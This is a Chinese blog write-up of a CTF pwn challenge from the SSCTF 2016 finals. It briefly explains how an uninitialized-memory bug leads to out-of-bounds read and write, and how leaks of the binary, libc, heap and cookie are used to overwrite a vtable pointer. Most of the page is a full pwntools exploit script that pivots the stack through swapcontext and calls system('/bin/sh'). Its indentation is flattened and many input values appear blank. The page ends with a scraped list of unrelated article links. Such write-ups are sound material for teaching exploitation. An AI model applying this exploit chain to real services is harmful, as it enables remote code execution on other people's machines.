比赛过去了两个月了,抽出时间,将当时的PWN给总结一下。

和线上塞的题的背景一样,只不过洞不一样了。Checksec一样,发现各种防护措施都开了。

程序模拟了简单的堆的管理,以及cookie的保护机制。漏洞是一个内存未初始化漏洞,就是申请内存的时候,上一次的内存还未清0,这个时候通过构造特定输入可以使用内存中仍有的内容。这样的话,容易造成数组的越界读写。就是通过数组的越界读写将程序的基址,libc的基址,堆的基址,cookie都给泄露了出来。通过构造任意地址写,将虚表指针覆盖为gadget地址,顺利拿到shell。参考了炜师傅的writeup,http://ww9210.cn/2016/04/15/ssctf-2016-final-pwn-writeup/

顺便说一下,在Libc里setcontext,swapcontext中有很好用gadget用来stack pivot。

此外,直接用pwntools的话,好像并不能用来对full relro使用dynelf进行信息泄露,github上最新的我没有尝试,如果可以的话也请大家可以告诉我;有人对pwntools进行了改进,成为了binjitsu,可以用来对full relro的程序进行dynelf,不过还是依赖了libcdatabase。http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html 这一篇文章里介绍了进行信息泄露的两种方法,还没仔细看。

附上shell:

附上poc:

 from pwn import *
import time
#by wangaohui
#context.log_level = 'debug'
exe = 'final1'
s= remote('127.0.0.1',10001,timeout=60)
def getpid():
time.sleep(0.1)
pid= pwnlib.util.proc.pidof(exe)
print pid
raw_input('go!')
#getpid()
#alloc 12+3 items(align 8 byte,so 12+3+1)
s.recvuntil('_CMD_$')
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort:')
s.sendline('')
for i in range(12):
s.recvuntil('number:')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') #sort 3 items(3+3+2)
s.recvuntil('_CMD_$')
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort:')
s.sendline('')
s.recvuntil('number:')
s.sendline('a')
s.recvuntil('Invalid number, stopped input!')
s.recvuntil('Choose: ')
s.sendline('') #sort
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') #query
s.recvuntil('Query index: ')
s.sendline('')
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
#print data
if data.startswith('-'):
big_chunk = (int(data[1:])^0xffffffff) + 1 - 8
#print hex(big_chunk)
else:
big_chunk = int(data) -8
#print hex(big_chunk)
print 'big_chunk addr is: ' + hex(big_chunk)
s.recvuntil('Choose: ')
s.sendline('') #sort 3 items(3+3+2)
s.recvuntil('_CMD_$')
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort:')
s.sendline('')
for i in range(3):
s.recvuntil('number:')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') #sort
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') #reload
s.recvuntil('_CMD_$')
s.sendline('reload')
s.recvuntil('Reload history ID: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline('')
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
#print data
if data.startswith('-'):
random = ((int(data[1:])^0xffffffff) + 1)^3
#print hex(random)
else:
random = int(data)^3
#print hex(random)
print 'random is: ' + hex(random)
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline('')
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
#print data
if data.startswith('-'):
pvt = ((int(data[1:])^0xffffffff) + 1)
heap = ((int(data[1:])^0xffffffff) + 1) - 0xa8
#print hex(heap)
else:
pvt = int(data)
heap = int(data) - 0xa8
#print hex(heap)
print 'heap addr is: ' + hex(heap)
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline('')
s.recvuntil('Update number: ')
s.sendline(str(0x7fffffff))
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline('')
s.recvuntil('Update number: ')
s.sendline(str(random^0x7fffffff))
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$')
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort:')
s.sendline('')
for i in range(3):
s.recvuntil('number:')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') #sort
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$')
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort:')
s.sendline('')
s.recvuntil('number:')
s.sendline('a')
s.recvuntil('Invalid number, stopped input!')
s.recvuntil('Choose: ')
s.sendline('')
start = (2+16+8+3)*4+big_chunk #items addr
if pvt>start:
index = (pvt-start)/4
else:
index = (pvt+0x100000000-start)/4
s.recvuntil('Query index: ')
s.sendline(str(index))
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
#print data
if data.startswith('-'):
vt = ((int(data[1:])^0xffffffff) + 1)
else:
vt = int(data)
if vt>start:
index = (vt-start)/4
else:
index = (vt+0x100000000-start)/4
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline(str(index))
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
if data.startswith('-'):
base = ((int(data[1:])^0xffffffff) + 1 - 0x1D50)
else:
base = int(data - 0x1d50)
print 'exe base is: ' + hex(base)
def leak(addr):
if addr>start:
index = (addr-start)/4
else:
index = (addr+0x100000000-start)/4
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline(str(index))
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
if data.startswith('-'):
r = ((int(data[1:])^0xffffffff) + 1)
else:
r = int(data)
return p32(r)
d = DynELF(leak,pointer=base,elf=ELF('./final1'))
libc_base = d.lookup(None,'libc')
print 'libc_base is: ' + hex(libc_base)
#method 1
#e=d.libc
#str_binsh=(list(e.search('/bin/sh'))[0])
system= d.lookup('system','libc')
swapcontext = d.lookup('swapcontext','libc')
print 'swapcontext is: ' + hex(swapcontext)
pivot = swapcontext+(0x7f-0x10)
print 'system is: ' + hex(system) def update(addr,value):
if addr>start:
index = (addr-start)/4
else:
index = (addr+0x100000000-start)/4
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline(str(index))
s.recvuntil('Update number: ')
if value>0x7fffffff:
s.sendline(str(value-0x100000000))
else:
s.sendline(str(value)) redir = big_chunk + (2+16+16)*4 + 0x200
eax = big_chunk + (2+16+16)*4 + 0x300
esp = big_chunk + (2+16+16)*4 + 0x400
#method 2
binsh = 0x6e69622f #/bin
binsh1 = 0x68732f #/sh\x00
str_binsh = big_chunk + (2+16+16)*4 + 0x500
update(str_binsh,binsh)
update(str_binsh + 4,binsh1)
#method 2 end ecx = eax + 0x4c
pesp = eax + 0x30 update(redir,pivot)
update(pesp,esp)
update(esp+4,str_binsh)
update(ecx,system)
update(start-4,eax)
update(eax,redir) s.recvuntil('Choose: ')
s.sendline('')
s.interactive() s.close()

SSCTF Final PWN的更多相关文章

  1. CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  2. [零基础学IoT Pwn] 环境搭建

    [零基础学IoT Pwn] 环境搭建 0x00 前言 这里指的零基础其实是我们在实战中遇到一些基础问题,再相应的去补充学习理论知识,这样起码不会枯燥. 本系列主要是利用网上已知的IoT设备(路由器)漏 ...

  3. java抽象、接口 和final

    抽象 一.抽象类:不知道是具体什么东西的类. abstract class 类名 1.抽象类不能直接new出来. 2.抽象类可以没有抽象方法. public abstract class USB { ...

  4. Java内部类final语义实现

    本文描述在java内部类中,经常会引用外部类的变量信息.但是这些变量信息是如何传递给内部类的,在表面上并没有相应的线索.本文从字节码层描述在内部类中是如何实现这些语义的. 本地临时变量 基本类型 fi ...

  5. Java关键字final、static

    一.final根据程序上下文环境,Java关键字final有“这是无法改变的”或者“终态的”含义,它可以修饰非抽象类.非抽象类成员方法和变量.你可能出于两种理解而需要阻止改变:设计或效率. final ...

  6. JavaSE 之 final 初探

    我们先看一道面试题: 请问 final 的含义是什么?可以用在哪里?其初始化的方式有哪些? 首先我们回答一下这道题,然后再探究其所以然.  1.final 表示“最终的”.“不可改变的”,意指其修饰类 ...

  7. Pwn~

    Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...

  8. PHP的final关键字、static关键字、const关键字

    在PHP5中新增加了final关键字,它可以加载类或类中方法前.但不能使用final标识成员属性,虽然final有常量的意思,但在php中定义常量是使用define()函数来完成的. final关键字 ...

  9. final修饰符

    final本身的含义是"最终的,不可变的",它可以修饰非抽象类,非抽象方法和变量.注意:构造方法不能使用final修饰,因为构造方法不能被继承,肯定是最终的. final修饰的类: ...

随机推荐

  1. 面试前的准备---C#知识点回顾----04

    播下的种子,慢慢开始发芽收获了,陆陆续续offer就来了,该轮到我挑的时候了 今天面试的一家公司,技术问的相对宽广和细致,程度令人发指 1.谈谈ViewState 这个问题,回答的好,工资翻一级 基本 ...

  2. table-cell完成左侧定宽,右侧定宽及左右定宽等布局

    使用table-cell完成以下几种布局(ie8及以上兼容) 1.左侧定宽-右侧自适应 .left{ width: 300px; height: 500px; border: 1px solid; f ...

  3. Visual Studio 2013 Web开发、新增功能:“Browser Link”

    微软正式发布Visual Studio 2013 RTM版,微软还发布了Visual Studio 2013的最终版本..NET 4.5.1以及Team Foundation Server 2013. ...

  4. border-radius讲解2

    一:border-radius只有一个取值时,四个角具有相同的圆角设置,其效果是一致的: .demo { border-radius: 10px; } 其等价于: .demo{ border-top- ...

  5. Unity-视图操作

    按下 F 键使画面的视角移动到被选中对象的正面 视图场景摄像机(14年的时候,这个操作弄的头晕--) 旋转:Alt(Command)+左键拖拽 平移:Alt+Ctrl(Command)+左键拖拽 旋转 ...

  6. UVA 719 / POJ 1509 Glass Beads (最小表示法/后缀自动机)

    题目大意: 给出一个长度为N的字符串,求其字典序最小的循环同构. N<=10W. 算法讨论: 算法一.最小表示法.定义题. 算法二.后缀自动机. Codes: #include <iost ...

  7. oracle日记

    win7旗舰版安装oracle11g 64位用sql plus可以登录 但用pl/sql dev报错ORA-12560 小型数据库:access.foxbase 中型数据库:mysql.sqlserv ...

  8. jQuery对checkbox的各种操作

    //注意: 操作checkbox的checked,disabled属性时jquery1.6以前版本用attr,1.6以上(包含)建议用prop //1.根据id获取checkbox $("# ...

  9. [Netty 1] 初识Netty

    1. 简介 最早接触netty是在阅读Zookeeper源码的时候,后来看到Storm的消息传输层也由ZMQ转为Netty,所以决心好好来研究和学习一下netty这个框架. Netty项目地址:htt ...

  10. linux----ulimit 限制

    ulimit -a 显示当前用户的各种限制. ulimit -n 的数值表示每个进程可以打开的文件数目. 一般情况下, ulimit -n 的数值是1024. 当进程打开的文件数目超过此限制时,该进程 ...